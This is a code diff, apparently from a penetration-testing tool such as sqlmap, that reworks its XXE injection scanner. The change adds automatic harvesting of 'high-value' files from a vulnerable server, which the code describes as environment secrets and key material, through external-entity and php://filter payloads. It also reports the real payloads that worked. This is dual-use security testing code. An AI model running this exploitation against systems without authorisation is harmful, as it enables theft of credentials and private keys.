2626from lib .core .settings import ASTERISK_MARKER
2727from lib .core .settings import XXE_BLACKHOLE_HOST
2828from lib .core .settings import XXE_ERROR_SIGNATURES
29+ from lib .core .settings import XXE_FILE_HARVEST
2930from lib .core .settings import XXE_HARDENED_REGEX
3031from lib .core .settings import XXE_IMPACT_FILES
3132from lib .core .settings import OOB_POLL_ATTEMPTS
@@ -229,21 +230,50 @@ def _echoed(page):
229230def _report (title , payload ):
230231 if conf .beep :
231232 beep ()
232- place = "%s XML body" % ( conf .method or HTTPMETHOD .POST )
233- conf .dumper .singleString ("---\n Parameter: %s \n Type: XXE injection\n Title: %s\n Payload: %s\n ---" % (place , title , payload ))
233+ place = conf .method or HTTPMETHOD .POST
234+ conf .dumper .singleString ("---\n Parameter: XML body (%s) \n Type: XXE injection\n Title: %s\n Payload: %s\n ---" % (place , title , payload ))
234235
235236
236- def _dumpFileRead (remoteFile , content ):
237+ def _saveFileRead (remoteFile , content ):
237238 """Save an XXE-read file to the output directory (parity with '--file-read') and
238- list it; fall back to a console dump if the file cannot be written."""
239+ return its local path, or None if it could not be written."""
239240 try :
240- localPath = dataToOutFile (remoteFile , getBytes (content ))
241- if localPath :
242- conf .dumper .rFile ([localPath ])
243- return
241+ return dataToOutFile (remoteFile , getBytes (content ))
244242 except Exception as ex :
245243 logger .debug ("could not save XXE-read file to disk: %s" % getUnicode (ex ))
246- conf .dumper .singleString ("XXE file read ('%s'):\n %s" % (remoteFile , content ))
244+ return None
245+
246+
247+ def _dumpFileRead (remoteFile , content ):
248+ """Save a single XXE-read file and list it; fall back to a console dump if the
249+ file cannot be written."""
250+ localPath = _saveFileRead (remoteFile , content )
251+ if localPath :
252+ conf .dumper .rFile ([localPath ])
253+ else :
254+ conf .dumper .singleString ("XXE file read ('%s'):\n %s" % (remoteFile , content ))
255+
256+
257+ def _harvestFiles (xml , rootName ):
258+ """Proactive, best-effort file harvest run once an in-band XXE read primitive is
259+ confirmed: pull a curated set of high-value fixed-path files (host identity,
260+ process env/secrets, key material) the way the other non-SQL engines auto-dump
261+ their reachable data. Returns a list of (path, content, payload) for every file
262+ that read back non-empty; unreadable/absent files are silently skipped. Content is
263+ de-duplicated so a parser that resolves every missing path to the same stub cannot
264+ masquerade as many distinct reads."""
265+
266+ harvested = []
267+ seen = set ()
268+ for path in XXE_FILE_HARVEST :
269+ content , payload = _tryInbandFileRead (xml , rootName , path )
270+ if content and content .strip ():
271+ key = content .strip ()
272+ if key in seen :
273+ continue
274+ seen .add (key )
275+ harvested .append ((path , content , payload ))
276+ return harvested
247277
248278
249279def _tryInternal (xml , rootName , baseline ):
@@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
280310 entity between two random markers so the exact file content can be sliced out
281311 of the response regardless of surrounding template. Raw file:// works for text
282312 files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
283- the file content or None."""
313+ ( content, payload) or ( None, None) ."""
284314
285315 from lib .core .convert import decodeBase64
286316
@@ -303,21 +333,21 @@ def _tryInbandFileRead(xml, rootName, fileName):
303333 except Exception :
304334 continue
305335 if data and data .strip ():
306- return data
307- return None
336+ return data , payload
337+ return None , None
308338
309339
310340def _tryExternalFile (xml , rootName , baseline ):
311341 """Impact demonstration once XXE is live: read a benign host-identity file via
312- an external general entity. Returns (systemId, snippet ) on a confirmed read."""
342+ an external general entity. Returns (systemId, payload ) on a confirmed read."""
313343
314344 for systemId , pattern in XXE_IMPACT_FILES :
315345 ent = randomStr (length = 8 , lowercase = True )
316346 subset = '<!ENTITY %s SYSTEM "%s">' % (ent , systemId )
317347 payload = _placeRef (_buildDoctype (xml , rootName , subset ), "&%s;" % ent )
318348 snippet = _confirmRead (_send (payload ), pattern , baseline )
319349 if snippet :
320- return systemId , snippet
350+ return systemId , payload
321351 return None , None
322352
323353
@@ -639,8 +669,9 @@ def xxeScan():
639669 _OOB_CONSENT = None
640670
641671 debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
642- debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
643- debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
672+ debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
673+ debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
674+ debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
644675 logger .debug (debugMsg )
645676
646677 xml = _cleanBody ()
@@ -661,31 +692,59 @@ def xxeScan():
661692
662693 # T2: in-band reflected DTD/internal-entity expansion. This proves the parser
663694 # processes entities but is NOT yet file-read impact, so it deliberately does NOT
664- # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
665- # run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
695+ # set `found` on its own - we first try to UPGRADE it to real file-read impact and
696+ # then emit a SINGLE report block with the strongest confirmed vector and its real
697+ # payload (one report per finding, as with the other non-SQL engines). The internal
698+ # expansion is only reported on its own when no external-entity read is reachable.
666699 payload , page = _tryInternal (xml , rootName , baseline )
667700 if payload :
668701 expansionSeen = True
669702 logger .info ("the XML body processes DTD/internal entities (in-band reflection confirmed)" )
670- _report ("In-band DTD/internal entity expansion" , payload )
671703
672704 if conf .get ("fileRead" ):
673- content = _tryInbandFileRead (xml , rootName , conf .fileRead )
705+ content , readPayload = _tryInbandFileRead (xml , rootName , conf .fileRead )
674706 if content :
675707 found = True
676708 logger .info ("in-band XXE file-read impact confirmed for '%s'" % conf .fileRead )
677- _report ("In-band file read ('%s')" % conf .fileRead , "<in-band reflected read of '%s'>" % conf . fileRead )
709+ _report ("In-band file read ('%s')" % conf .fileRead , readPayload )
678710 _dumpFileRead (conf .fileRead , content )
679711 else :
680- # benign, in-band impact demonstration (data stays in the response, no third party)
681- systemId , snippet = _tryExternalFile (xml , rootName , baseline )
682- if not systemId :
683- snippet = _tryPhpFilter (xml , rootName , baseline )
684- systemId = "php://filter" if snippet else None
685- if systemId :
712+ # No targeted '--file-read': proactively harvest a curated set of high-value
713+ # files (data stays in the response, no third party) - the XXE analogue of
714+ # the automatic dumping the other non-SQL engines do once confirmed.
715+ harvested = _harvestFiles (xml , rootName )
716+ if harvested :
686717 found = True
687- logger .info ("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId )
688- _report ("In-band file-read impact (external entity '%s')" % systemId , "<external-entity read of a benign file for impact>" )
718+ firstPath , _ , firstPayload = harvested [0 ]
719+ logger .info ("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len (harvested ))
720+ _report ("In-band file read (auto-harvest, e.g. '%s')" % firstPath , firstPayload )
721+ saved = []
722+ for path , content , _ in harvested :
723+ logger .info ("read remote file '%s' (%d bytes)" % (path , len (content )))
724+ localPath = _saveFileRead (path , content )
725+ if localPath :
726+ saved .append (localPath )
727+ else :
728+ conf .dumper .singleString ("XXE file read ('%s'):\n %s" % (path , content ))
729+ if saved :
730+ conf .dumper .rFile (saved )
731+ else :
732+ # Harvest read nothing (content relocated in the response, or only benign
733+ # host-identity is exposed): fall back to the pattern-based impact proof
734+ # so file-read impact is still confirmed.
735+ systemId , readPayload = _tryExternalFile (xml , rootName , baseline )
736+ if not systemId :
737+ readPayload = _tryPhpFilter (xml , rootName , baseline )
738+ systemId = "php://filter" if readPayload else None
739+ if systemId :
740+ found = True
741+ logger .info ("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId )
742+ _report ("In-band file-read impact (external entity '%s')" % systemId , readPayload )
743+
744+ if not found :
745+ # external entities are disabled (only internal expansion is reachable):
746+ # report that weaker-but-real finding with its actual payload
747+ _report ("In-band DTD/internal entity expansion" , payload )
689748
690749 # T3: error-based (works where entities are not reflected but errors leak). A
691750 # redundant detection channel once in-band reflection was already seen, so it is
0 commit comments